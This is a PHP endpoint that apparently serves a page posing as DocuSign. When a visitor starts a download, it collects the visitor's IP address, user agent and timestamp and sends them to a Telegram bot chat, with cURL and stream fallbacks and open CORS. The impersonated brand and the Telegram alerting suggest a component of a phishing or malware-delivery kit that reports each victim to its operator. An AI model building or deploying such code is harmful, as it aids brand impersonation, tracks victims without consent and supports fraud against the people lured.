<?php
/**
 * Telegram alert for DocuSign landing (download started).
 * Works on XAMPP, Apache, and typical cPanel PHP hosting.
 *
 * Setup: telegram_config.php in this folder returning:
 *   <?php return ['TELEGRAM_BOT_TOKEN' => '...', 'TELEGRAM_CHAT_ID' => '...'];
 *
 * Debug (no secrets): GET notify.php?health=1
 */
declare(strict_types=1);

function notify_cors_headers(): void
{
    if (headers_sent()) {
        return;
    }
    header('Access-Control-Allow-Origin: *');
    header('Access-Control-Allow-Headers: Content-Type');
    header('Access-Control-Allow-Methods: POST, OPTIONS, GET');
}

notify_cors_headers();
header('Content-Type: application/json; charset=utf-8');

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    header('Access-Control-Max-Age: 86400');
    http_response_code(204);
    exit;
}

/* Quick server-side check: open in browser — confirms PHP, config file, cURL. */
if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['health'])) {
    $configPath = __DIR__ . DIRECTORY_SEPARATOR . 'telegram_config.php';
    $hasFile = is_file($configPath) && is_readable($configPath);
    $token = '';
    $chatId = '';
    if ($hasFile) {
        $cfg = require $configPath;
        if (is_array($cfg)) {
            $token = trim((string)($cfg['TELEGRAM_BOT_TOKEN'] ?? $cfg['bot_token'] ?? ''));
            $chatId = trim((string)($cfg['TELEGRAM_CHAT_ID'] ?? $cfg['chat_id'] ?? ''));
        }
    }
    if ($token === '' || $chatId === '') {
        $token = trim((string)getenv('TELEGRAM_BOT_TOKEN'));
        $chatId = trim((string)getenv('TELEGRAM_CHAT_ID'));
    }
    $configured = ($token !== '' && $chatId !== '' && strpos($token, ':') !== false);
    echo json_encode([
        'ok' => true,
        'telegram_config_readable' => $hasFile,
        'telegram_credentials_ok' => $configured,
        'curl_extension' => extension_loaded('curl'),
        'allow_url_fopen' => (bool)ini_get('allow_url_fopen'),
        'php_version' => PHP_VERSION,
    ], JSON_UNESCAPED_SLASHES);
    exit;
}

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    http_response_code(405);
    echo json_encode(['ok' => false, 'error' => 'method_not_allowed']);
    exit;
}

$token = '';
$chatId = '';

$configPath = __DIR__ . DIRECTORY_SEPARATOR . 'telegram_config.php';
if (is_file($configPath)) {
    $cfg = require $configPath;
    if (is_array($cfg)) {
        $token = trim((string)($cfg['TELEGRAM_BOT_TOKEN'] ?? $cfg['bot_token'] ?? ''));
        $chatId = trim((string)($cfg['TELEGRAM_CHAT_ID'] ?? $cfg['chat_id'] ?? ''));
    }
}

if ($token === '' || $chatId === '') {
    $token = trim((string)getenv('TELEGRAM_BOT_TOKEN'));
    $chatId = trim((string)getenv('TELEGRAM_CHAT_ID'));
}

if ($token === '' || $chatId === '' || strpos($token, ':') === false) {
    http_response_code(500);
    echo json_encode(['ok' => false, 'error' => 'telegram_not_configured']);
    exit;
}

$ip = 'unknown';
if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
    $ip = trim(explode(',', (string)$_SERVER['HTTP_CF_CONNECTING_IP'])[0]);
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = trim(explode(',', (string)$_SERVER['HTTP_X_FORWARDED_FOR'])[0]);
} elseif (!empty($_SERVER['REMOTE_ADDR'])) {
    $ip = (string)$_SERVER['REMOTE_ADDR'];
}

$ua = isset($_SERVER['HTTP_USER_AGENT']) ? substr((string)$_SERVER['HTTP_USER_AGENT'], 0, 220) : 'unknown';
$when = gmdate('c');

$text = "DocuSign landing — download initiated\n\n"
    . "Time (UTC): {$when}\n"
    . "IP: {$ip}\n"
    . "User-Agent: {$ua}";

$payload = json_encode([
    'chat_id' => $chatId,
    'text' => $text,
    'disable_web_page_preview' => true,
]);
if ($payload === false) {
    http_response_code(500);
    echo json_encode(['ok' => false, 'error' => 'json_encode_failed']);
    exit;
}

$url = 'https://api.telegram.org/bot' . $token . '/sendMessage';

$raw = false;
$curlErrno = 0;
$curlErr = '';

if (extension_loaded('curl')) {
    $ch = curl_init($url);
    if ($ch !== false) {
        $opts = [
            CURLOPT_POST => true,
            CURLOPT_HTTPHEADER => ['Content-Type: application/json'],
            CURLOPT_POSTFIELDS => $payload,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_CONNECTTIMEOUT => 10,
            CURLOPT_TIMEOUT => 20,
        ];
        if (defined('CURLOPT_IPRESOLVE') && defined('CURL_IPRESOLVE_V4')) {
            $opts[CURLOPT_IPRESOLVE] = CURL_IPRESOLVE_V4;
        }
        curl_setopt_array($ch, $opts);
        $raw = curl_exec($ch);
        $curlErrno = (int)curl_errno($ch);
        $curlErr = (string)curl_error($ch);
        curl_close($ch);
    }
}

if ($raw === false || $raw === '') {
    /* Fallback when cURL is disabled or fails (some hosts still allow streams). */
    if (ini_get('allow_url_fopen')) {
        $ctx = stream_context_create([
            'http' => [
                'method' => 'POST',
                'header' => "Content-Type: application/json\r\nConnection: close\r\n",
                'content' => $payload,
                'timeout' => 20,
                'ignore_errors' => true,
            ],
            'ssl' => [
                'verify_peer' => true,
                'verify_peer_name' => true,
            ],
        ]);
        $raw = @file_get_contents($url, false, $ctx);
    }
}

if ($raw === false || $raw === '') {
    http_response_code(502);
    $detail = $curlErrno !== 0 ? ('curl_' . $curlErrno) : 'no_response';
    if ($curlErr !== '') {
        $detail .= ':' . substr(preg_replace('/[^\x20-\x7E]/', '', $curlErr), 0, 80);
    }
    echo json_encode(['ok' => false, 'error' => 'telegram_fetch_failed', 'detail' => $detail]);
    exit;
}

$data = json_decode($raw, true);
if (!is_array($data) || empty($data['ok'])) {
    $desc = is_array($data) && isset($data['description']) ? (string)$data['description'] : 'telegram_error';
    http_response_code(502);
    echo json_encode(['ok' => false, 'error' => $desc]);
    exit;
}

http_response_code(200);
echo json_encode(['ok' => true]);
